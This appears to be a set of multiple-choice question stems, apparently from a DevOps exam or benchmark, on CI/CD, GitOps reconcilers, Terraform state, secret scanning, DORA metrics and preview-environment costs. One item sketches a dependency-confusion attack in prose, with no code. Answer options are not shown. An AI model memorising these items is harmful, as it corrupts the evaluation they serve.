MCQ-43An 80-repo org on GitHub Enterprise Cloud runs 1,200 pushes/day. Only 12 of the 80 repos have a pre-commit hook configured. The required PR check runs gitleaks and has caught secrets that GitHub push protection's default patterns missed. A cloud key was committed directly to main at 10:01, bypassing the required PR check, and was found by the nightly scan at 02:14; it had billed $18,400 of GPU time. The team proposes adding a nightly scan to every repo and a weekly report. Which change actually closes the gap?⌄
MCQ-37A platform repo's reusable deploy workflow is consumed by 40 product repos. Last Friday a commit to the workflow's @main branch changed helm defaults; all 40 products rolled with maxUnavailable 50% before anyone read the diff, and the incident review could not say which workflow revision each product had run. The team must now choose how products consume the workflow, and the review must show how a bad platform change is caught before it reaches the fleet and how an incident names the exact revision each product ran. Which proposal should the review accept?⌄
MCQ-45Artifactory serves npm through a virtual repo `npm-virtual` that merges `npm-local` (internal publishes) with `npm-remote`, a proxy cache of registry.npmjs.org. A service depends on `@acme/checkout-lib: ^9.0.0`; the newest internal publish is 9.4.2. An attacker publishes `@acme/checkout-lib@9.9.9` to public npm with a postinstall script that reads `$NPM_TOKEN`; the next CI build installs 9.9.9 and the token is exfiltrated. Which change stops this class of install?⌄
MCQ-49An Argo CD Application named checkout has syncPolicy.automated with prune: true and selfHeal: true. Git declares the checkout Deployment with replicas: 3. At 02:10, p99 latency for checkout is 1.8s, so the on-call runs kubectl scale deployment checkout --replicas=12. At 02:15, Argo CD's reconciliation runs. What does Argo CD do to the Deployment at 02:15, and why?⌄
MCQ-51The `checkout` Application runs with `syncPolicy.automated` set to `prune: true, selfHeal: true`. At 02:14 last Tuesday a merge dropped `service.yaml` from the repo; Argo pruned the Service within 40 seconds, and because the Service's DNS record had a 600 s TTL, clients kept hitting the released ClusterIP for the next 10 minutes while the Application reported Synced and CI stayed green. The team wants the Service to survive any future merge that drops it from Git, while keeping prune enabled for the other 60 resources in the Application. Which change achieves that?⌄
MCQ-52Prod's overlay in Git declares `image: registry.internal/checkout:stable`, and Flux's image automation commits tag updates to that file. On Tuesday a release engineer retagged `stable` in the registry to build `4.12.7-rc3`; no commit was made. Within 6 minutes all 40 prod pods had picked up `4.12.7-rc3` on their next restart and checkout began returning 500s. Which change makes the registry unable to alter what prod runs on its own?⌄
MCQ-53A repo keeps a shared `base/` and per-environment overlays. The checkout Deployment's 1Gi memory limit is declared in `base/deployment.yaml`; `overlays/prod` adds replicas and an ingress. CI runs `kustomize build overlays/prod` and fails only when the command exits non-zero. A PR titled 'tidy comments in base' merged with a diff that also deleted the limits block; the build stayed green, and prod checkout pods were OOMKilled 18 times in 40 minutes. The team wants one gate that fails whenever the rendered prod Deployment's memory limit drops below 1Gi (whether a base edit, an overlay patch or a generator caused it) and that still passes when an overlay intentionally changes replicas or adds a sidecar. Which gate does that?⌄
MCQ-62A platform runs Argo CD with automated sync and selfHeal on the checkout Deployment; Git says replicas: 4 and the reconciler runs every 3 minutes. During a flash sale the on-call runs kubectl scale --replicas=12 at 14:02; at 14:05 the replicas are back to 4 and the sale is still running. This repeats three times in the same incident. The platform's rule is that every production change must be traceable to a Git commit within one reconcile cycle, and no human may be required to keep re-applying it. Which policy meets the rule?⌄
MCQ-70Production is Kubernetes; a sync controller polls the manifests repo's main branch every 3 minutes and applies whatever SHA is HEAD, around 12 times a day. Three writers reach main: app pull requests, an image-updater bot that opens a tag-bump PR and auto-merges it when CI passes, and a rollback bot that pushes revert commits straight to main. The change board meets Thursdays and approves a spreadsheet of ticket IDs. Auditors sampled 20 production deploys from last month and asked, for each, who approved the revision that ran and when. The team could produce app-PR approvals for 2 of the 20; the rest were 11 updater commits and 7 rollback pushes with no approval anywhere, and no system ties an approver to the SHA that ran. Which change lets the team answer that for every deploy?⌄
MCQ-55A platform team runs Terraform from GitHub Actions. The PR workflow assumes a read-only `tf-plan` role, runs `terraform plan -out=tfplan`, and uploads `tfplan` as a build artifact; the post-merge workflow on `main` downloads that artifact and runs `terraform apply tfplan`. A PR that changed only a README was merged, and the apply job deleted a security group that a different PR had added 40 minutes earlier. The team wants to keep plan-on-PR for review speed. Which change fixes the failure?⌄
MCQ-56A workspace manages `aws_instance.web` and `aws_route53_record.web`, whose A record is set to `aws_instance.web.public_ip`. A CVE patch requires replacing the instance. An engineer runs `terraform apply -target=aws_instance.web`; the instance is replaced with a new public IP, the A record still points at the old one, and the service is unreachable for 18 minutes until a full apply runs. The team wants the pipeline to prevent this class of failure while still letting an engineer replace a single resource during an incident. Which change does that?⌄
MCQ-57A nightly apply was SIGKILLed by the OOM killer 12 minutes in (ECS task STOPPED, exit 137), leaving a lock in DynamoDB. The pipeline's retry policy immediately launched a second apply for the same workspace; that task has been RUNNING for 90 seconds, blocked on the same lock ID. The on-call engineer is asked to clear the lock so the retry can proceed. What should they do?⌄
MCQ-58A staging deploy job ran `terraform apply` and destroyed 41 prod resources. The job log shows `terraform workspace select prod` ran before plan; TF_WORKSPACE was inherited from a CI variable group shared by both environments. Both environments use one S3 backend key, `acme/terraform.tfstate`, with workspaces `staging` and `prod`, and the staging job's role can write that key. The plan showed 400 lines of destroy and the job auto-approved. Which change removes this failure mode?⌄
MCQ-59An apply on Monday created 3 subnets. On Thursday, with no change to the root configuration, the same apply planned to destroy and recreate the NAT gateway. The root module declares source = "git::https://github.com/acme/terraform-vpc.git" with no ?ref; the module's main branch merged a subnet-CIDR change on Wednesday. .terraform.lock.hcl pins providers only. Which change to the delivery path prevents this class of incident?⌄
MCQ-60`prod/main.tf` no longer contains the `module "orders_db"` block: a merged PR removed it while the database is migrated to a new stack. `modules/rds` still defines `aws_db_instance.orders` with `lifecycle { prevent_destroy = true }`, but with the module call gone that block is not instantiated and Terraform does not evaluate its lifecycle rule. CI printed `Plan: 0 to add, 0 to change, 1 to destroy` for `aws_db_instance.orders` and went green; the apply job is queued. The instance's `deletion_protection` is `false`. Which change, made before the apply runs, stops the database from being deleted?⌄
MCQ-61A platform team runs a nightly job at 02:00 that executes `terraform plan -detailed-exitcode` against the production state (1,240 resources, about 4 minutes) and, on exit code 2, runs `terraform apply -auto-approve` to reconcile. On 14 March an on-call engineer added a temporary 0.0.0.0/0 ingress rule to the bastion security group at 01:20 to restore access during a Sev-1. The job ran at 02:04, applied the plan, and removed the rule; access broke again at 02:05 and the Sev-1 ran another 40 minutes. The review must decide what to change in the job. Which change does the incident justify?⌄
MCQ-23A team ships service `checkout` as 4.12 on Friday 18:00. The prod Helm values carry `NEW_TAX_ENGINE: "true"`, copied from staging where the flag had been on for two weeks. Monday 09:00 the team sets the flag's rollout to 5%. Saturday's metrics show the new tax engine serving 100% of orders, and 2.4% of Saturday orders failing tax validation against a 0.1% baseline. Which account of what shipped is correct?⌄
MCQ-6A platform team promotes from trunk with feature flags. Their batch-size SLO is ≤15 production-bound commits per promote. Over the last 28 days: 40 promotes, median 12 commits per promote, p95 90 commits. Six rollbacks occurred, five of them on promotes that carried more than 60 commits. The team proposes lowering the SLO to ≤10 commits per promote. What does the data say that change will do?⌄
MCQ-19A payments team's pipeline runs build, unit and integration tests, then auto-deploys to staging on every merge to main. Production deploys happen when a release manager clicks Promote, which deploys the digest that passed staging. Over the last 90 days: 512 merges to main, 63 promotes to production, 9 of those promotes built a fresh artifact from a release branch because the staging digest was 'stale', and 2 promotes were rolled back. Which reading of this pipeline is correct?⌄
MCQ-18A team's promote pipeline marks a deploy failed whenever any hotfix lands within 24 hours. Last quarter it recorded 90 production promotes and flagged 17 of them (18.9%). Incident review then attributed 9 of those hotfixes to defects the deploy itself introduced (6 were rollbacks or reverts, 3 were forward fixes) while the other 8 fixed unrelated problems (Friday traffic scaling, another service's config). Four of the 9 were Sev-1 incidents, and a Sev-1-only count gives 4. Leadership wants one CFR for the quarter they can defend in a review. Which number should they publish?⌄
MCQ-17A team reports lead time for changes as p50 4 h, measured from pull-request open to merge, and calls the pipeline healthy. Deploys run nightly at 02:00 UTC on weekdays only, with a 01:00 cut-off and no weekend train. A fix whose first commit landed Friday 09:00 was merged Friday 17:00 and reached production Monday 02:00. The incident review blamed "CI" for the two-day delay. What is the lead time for changes for this fix?⌄
MCQ-10checkout serves `GET /cards`; payments consumes it. payments publishes a pact to the broker on every merge to `main` and records the version it deploys to prod under the `prod` environment. payments has merged a dual-read change to `main` that accepts both `card_last4` and `last4`, but has not deployed it. checkout's CI runs unit and integration tests; its promote job runs no contract check. payments' promote job runs `can-i-deploy` for payments against `prod`. A checkout PR renames `card_last4` to `last4`; checkout's CI and promote are green, and payments, still running the pre-dual-read version in prod, returns 400 on 19% of calls for 47 minutes. Which change blocks this rename at checkout's promote, without blocking changes no deployed consumer depends on and without making checkout wait on another team?⌄
MCQ-78Over the last 28 days a team's pipeline recorded 56 successful production promotes, all on Thursdays, each carrying a median of 18 merged commits. Leadership plans to report this as "elite deploy frequency" in the quarterly review. What should the engineer say?⌄
MCQ-69A payments team freezes production deploys from Thursday 18:00 to Monday 09:00. At 02:10 Saturday, checkout starts returning HTTP 500 on 12% of card authorizations; the cause is a nil dereference fixed by a one-line change that CI built at 01:50 Saturday as image digest sha256:9f2c41. The freeze policy permits a documented hotfix exception. What should the on-call engineer do?⌄
MCQ-71A payments team ships 240 changes a quarter. p50 lead time is 25 days: 21 d coding, 20 min CI, 4.2 d waiting for CAB, 15 min promote. CAB is one weekly 60-minute meeting with a fixed quorum of the security and data leads, who are available for that hour only. Last quarter CAB sent back 21 of the 50 schema, IAM, and new-service changes for rework before they shipped. The 190 config and dependency changes produced one incident, which the canary caught before full rollout. Which change cuts p50 lead time without raising the change failure rate?⌄
MCQ-74Preview namespaces are created per PR from the production manifest and deleted when the PR merges. Last month: 50 previews were open at any time on average, each holding 3 nodes (9 checkout pods, 4 pods per node), and nodes cost $0.20/hour. A $21,600 bill. Of the 50, 40 belong to PRs with no commit in the last 7 days and no reviewer activity; the other 10 are actively reviewed. Pod CPU utilization across all previews averaged 4% of requested capacity. Which single change removes the largest share of that bill?⌄
MCQ-73A platform team gives every push on a pull request its own preview environment in a shared cluster: the CI job creates a namespace, deploys that commit into it, and stamps the namespace to expire 72 hours after creation; a janitor runs hourly and its logs show it deleting expired namespaces on every run. A week of monitoring the preview node pool gives 4 pull requests opened per day, a mean pull request lifetime of 3 days, about 40 pushes per day across all open pull requests, half of a pull request's pushes landing more than 20 hours after the previous one, and a steady 120 live preview environments. Each live environment costs the pool $110/month (2 vCPU, 8 GiB, one load balancer) and the pool budget is $1,500/month. Which single change brings the pool under budget?⌄
MCQ-76Namespace requests go through a ticket queue: 40 a month, p50 6 days to Ready, p95 11 days, and about 90 minutes of platform-engineer time each, because quota, network policy and TTL are set by hand. No namespace template exists. Platform is accountable for those three settings on every namespace. 32 of the 40 requests are default-path: standard quota, no public ingress, 30-day TTL. Teams work around the wait by reusing leftover preview namespaces; 12 of 30 preview namespaces are shared by two or more teams, and last month a test in one team's job dropped tables in another team's namespace. The release train is in 3 weeks. The full self-service portal (Backstage plugin, quota admission controller, netpol templating, TTL reaper) is estimated at 6 engineer-weeks. What should the platform team do?⌄